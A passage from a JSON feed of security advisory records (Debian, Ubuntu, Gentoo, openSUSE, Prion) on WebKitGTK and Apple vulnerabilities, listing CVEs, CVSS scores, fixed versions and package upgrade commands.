[CVE-2019-8812](https://security-tracker.debian.org/tracker/CVE-2019-8812)\nAn anonymous researcher discovered that maliciously crafted web\n content may lead to arbitrary code execution.\n* [CVE-2019-8814](https://security-tracker.debian.org/tracker/CVE-2019-8814)\nCheolung Lee discovered that maliciously crafted web content may\n lead to arbitrary code execution.\n\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 2.26.2-1~deb10+1.\n\n\nWe recommend that you upgrade your webkit2gtk packages.\n\n\nFor the detailed security status of webkit2gtk please refer to\nits security tracker page at:\n[\\\nhttps://security-tracker.debian.org/tracker/webkit2gtk](https://security-tracker.debian.org/tracker/webkit2gtk)\n\n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-11-12T00:00:00", "type": "osv", "title": "webkit2gtk - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2023-06-28T06:40:48", "id": "OSV:DSA-4563-1", "href": "https://osv.dev/vulnerability/DSA-4563-1", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "debian": [{"lastseen": "2023-12-03T10:27:23", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4563-1 security@debian.org\nhttps://www.debian.org/security/ Alberto Garcia\nNovember 12, 2019 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : webkit2gtk\nCVE ID : CVE-2019-8812 CVE-2019-8814\n\nThese vulnerabilities have been discovered in the webkit2gtk web engine:\n\nCVE-2019-8812\n\n An anonymous researcher discovered that maliciously crafted web\n content may lead to arbitrary code execution.\n\nCVE-2019-8814\n\n Cheolung Lee discovered that maliciously crafted web content may\n lead to arbitrary code execution.\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 2.26.2-1~deb10+1.\n\nWe recommend that you upgrade your webkit2gtk packages.\n\nFor the detailed security status of webkit2gtk please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/webkit2gtk\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-11-12T21:51:48", "type": "debian", "title": "[SECURITY] [DSA 4563-1] webkit2gtk security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2019-11-12T21:51:48", "id": "DEBIAN:DSA-4563-1:121E7", "href": "https://lists.debian.org/debian-security-announce/2019/msg00216.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "ubuntu": [{"lastseen": "2023-12-03T01:17:09", "description": "## Releases\n\n * Ubuntu 19.10 \n * Ubuntu 19.04 \n * Ubuntu 18.04 ESM\n\n## Packages\n\n * webkit2gtk \\- Web content engine library for GTK+\n\nA large number of security issues were discovered in the WebKitGTK+ Web and \nJavaScript engines. If a user were tricked into viewing a malicious \nwebsite, a remote attacker could exploit a variety of issues related to web \nbrowser security, including cross-site scripting attacks, denial of service \nattacks, and arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-11-12T00:00:00", "type": "ubuntu", "title": "WebKitGTK+ vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2019-11-12T00:00:00", "id": "USN-4181-1", "href": "https://ubuntu.com/security/notices/USN-4181-1", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "gentoo": [{"lastseen": "2023-12-02T16:58:09", "description": "### Background\n\nWebKitGTK+ is a full-featured port of the WebKit rendering engine, suitable for projects requiring any kind of web integration, from hybrid HTML/CSS applications to full-fledged web browsers. \n\n### Description\n\nMultiple vulnerabilities have been discovered in WebKitGTK+. Please review the referenced CVE identifiers for details. \n\n### Impact\n\nA remote attacker could execute arbitrary code, cause a Denial of Service condition, bypass intended memory-read restrictions, conduct a timing side-channel attack to bypass the Same Origin Policy or obtain sensitive information. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll WebkitGTK+ users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-libs/webkit-gtk-2.26.4\"", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-03-15T00:00:00", "type": "gentoo", "title": "WebkitGTK+: Multiple vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8625", "CVE-2019-8674", "CVE-2019-8707", "CVE-2019-8710", "CVE-2019-8719", "CVE-2019-8720", "CVE-2019-8726", "CVE-2019-8733", "CVE-2019-8735", "CVE-2019-8743", "CVE-2019-8763", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8768", "CVE-2019-8769", "CVE-2019-8771", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8835", "CVE-2019-8844", "CVE-2019-8846", "CVE-2020-3862", "CVE-2020-3864", "CVE-2020-3865", "CVE-2020-3867", "CVE-2020-3868"], "modified": "2020-03-15T00:00:00", "id": "GLSA-202003-22", "href": "https://security.gentoo.org/glsa/202003-22", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "suse": [{"lastseen": "2022-11-06T19:35:42", "description": "An update that fixes 42 vulnerabilities is now available.\n\nDescription:\n\n This update for webkit2gtk3 to version 2.26.2 fixes the following issues:\n\n Webkit2gtk3 was updated to version 2.26.2 (WSA-2019-0005 and\n WSA-2019-0006, bsc#1155321 bsc#1156318)\n\n Security issues addressed:\n\n - CVE-2019-8625: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n - CVE-2019-8674: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n - CVE-2019-8707: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8719: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n - CVE-2019-8720: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8726: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8733: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8735: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8763: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8768: Fixed an issue where a user may be unable to delete\n browsing history items.\n - CVE-2019-8769: Fixed an issue where a maliciously crafted website may\n reveal browsing history.\n - CVE-2019-8771: Fixed an issue where a maliciously crafted web content\n may violate iframe sandboxing policy.\n - CVE-2019-8710: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8743: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8764: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n - CVE-2019-8765: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8766: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8782: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8783: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8808: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8811: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8812: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8813: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n - CVE-2019-8814: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8815: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8816: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8819: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8820: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8821: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8822: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8823: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.0:\n\n zypper in -t patch openSUSE-2019-2587=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-11-30T00:00:00", "type": "suse", "title": "Security update for webkit2gtk3 (important)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8551", "CVE-2019-8558", "CVE-2019-8559", "CVE-2019-8563", "CVE-2019-8625", "CVE-2019-8674", "CVE-2019-8681", "CVE-2019-8684", "CVE-2019-8686", "CVE-2019-8687", "CVE-2019-8688", "CVE-2019-8689", "CVE-2019-8690", "CVE-2019-8707", "CVE-2019-8710", "CVE-2019-8719", "CVE-2019-8720", "CVE-2019-8726", "CVE-2019-8733", "CVE-2019-8735", "CVE-2019-8743", "CVE-2019-8763", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8768", "CVE-2019-8769", "CVE-2019-8771", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2019-11-30T00:00:00", "id": "OPENSUSE-SU-2019:2587-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/YLQI2W5TS56J3JQ5FT62EA3IH5W2VNRK/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-11-06T19:35:42", "description": "An update that fixes 42 vulnerabilities is now available.\n\nDescription:\n\n This update for webkit2gtk3 to version 2.26.2 fixes the following issues:\n\n Webkit2gtk3 was updated to version 2.26.2 (WSA-2019-0005 and\n WSA-2019-0006, bsc#1155321 bsc#1156318)\n\n Security issues addressed:\n\n - CVE-2019-8625: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n - CVE-2019-8674: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n - CVE-2019-8707: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8719: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n - CVE-2019-8720: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8726: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8733: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8735: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8763: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8768: Fixed an issue where a user may be unable to delete\n browsing history items.\n - CVE-2019-8769: Fixed an issue where a maliciously crafted website may\n reveal browsing history.\n - CVE-2019-8771: Fixed an issue where a maliciously crafted web content\n may violate iframe sandboxing policy.\n - CVE-2019-8710: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8743: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8764: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n - CVE-2019-8765: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8766: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8782: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8783: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8808: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8811: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8812: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8813: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n - CVE-2019-8814: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8815: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8816: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8819: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8820: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8821: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8822: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n - CVE-2019-8823: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.1:\n\n zypper in -t patch openSUSE-2019-2591=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-11-30T00:00:00", "type": "suse", "title": "Security update for webkit2gtk3 (important)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8551", "CVE-2019-8558", "CVE-2019-8559", "CVE-2019-8563", "CVE-2019-8625", "CVE-2019-8674", "CVE-2019-8681", "CVE-2019-8684", "CVE-2019-8686", "CVE-2019-8687", "CVE-2019-8688", "CVE-2019-8689", "CVE-2019-8690", "CVE-2019-8707", "CVE-2019-8710", "CVE-2019-8719", "CVE-2019-8720", "CVE-2019-8726", "CVE-2019-8733", "CVE-2019-8735", "CVE-2019-8743", "CVE-2019-8763", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8768", "CVE-2019-8769", "CVE-2019-8771", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2019-11-30T00:00:00", "id": "OPENSUSE-SU-2019:2591-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/W3TSYNLOG3MH5MKP7O3LUULRVNBIECSK/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-11-10T04:08:49", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for kernel-firmware fixes the following issues:\n\n - CVE-2019-15126: Updated Broadcom firmware to fix Kr00k bug (bsc#1167162).\n\n This update was imported from the SUSE:SLE-15-SP1:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:\n\n zypper in -t patch openSUSE-2021-1648=1", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 3.1, "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-12-31T00:00:00", "type": "suse", "title": "Security update for kernel-firmware (low)", "bulletinFamily": "unix", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2021-12-31T00:00:00", "id": "OPENSUSE-SU-2021:1648-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/KZGJOQCY3UVCSZY3XFCDUYHPVWB2IH7T/", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}}], "prion": [{"lastseen": "2023-11-22T02:21:38", "description": "A memory corruption vulnerability was addressed with improved locking. This issue is fixed in macOS Catalina 10.15.1, Security Update 2019-001, and Security Update 2019-006, watchOS 6.1, tvOS 13.2, iOS 13.2 and iPadOS 13.2. An application may be able to execute arbitrary code with kernel privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-10-27T20:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8829"], "modified": "2021-07-21T11:39:00", "id": "PRION:CVE-2019-8829", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8829", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-11-22T02:21:37", "description": "The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin. This issue is fixed in Safari 13.0.3, iTunes 12.10.2 for Windows, iCloud for Windows 10.9.2, tvOS 13.2, iOS 13.2 and iPadOS 13.2, iCloud for Windows 7.15. Visiting a maliciously crafted website may reveal the sites a user has visited.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 4.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 1.4}, "published": "2020-10-27T20:15:00", "type": "prion", "title": "Design/Logic Flaw", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8827"], "modified": "2020-10-29T20:57:00", "id": "PRION:CVE-2019-8827", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8827", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-11-22T03:18:13", "description": "An issue was discovered in certain Apple products. iOS before 11.2 is affected. The issue involves the \"Mail Message Framework\" component. It allows remote attackers to spoof the address bar via a crafted web site.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 4.3, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 1.4}, "published": "2017-12-27T17:08:00", "type": "prion", "title": "Code injection", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7152"], "modified": "2019-10-30T03:15:00", "id": "PRION:CVE-2017-7152", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2017-7152", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-11-22T02:21:35", "description": "An authentication issue was addressed with improved state management. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. A local attacker may be able to login to the account of a previously logged in user without valid credentials..", "cvss3": {"exploitabilityScore": 2.5, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.4, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": 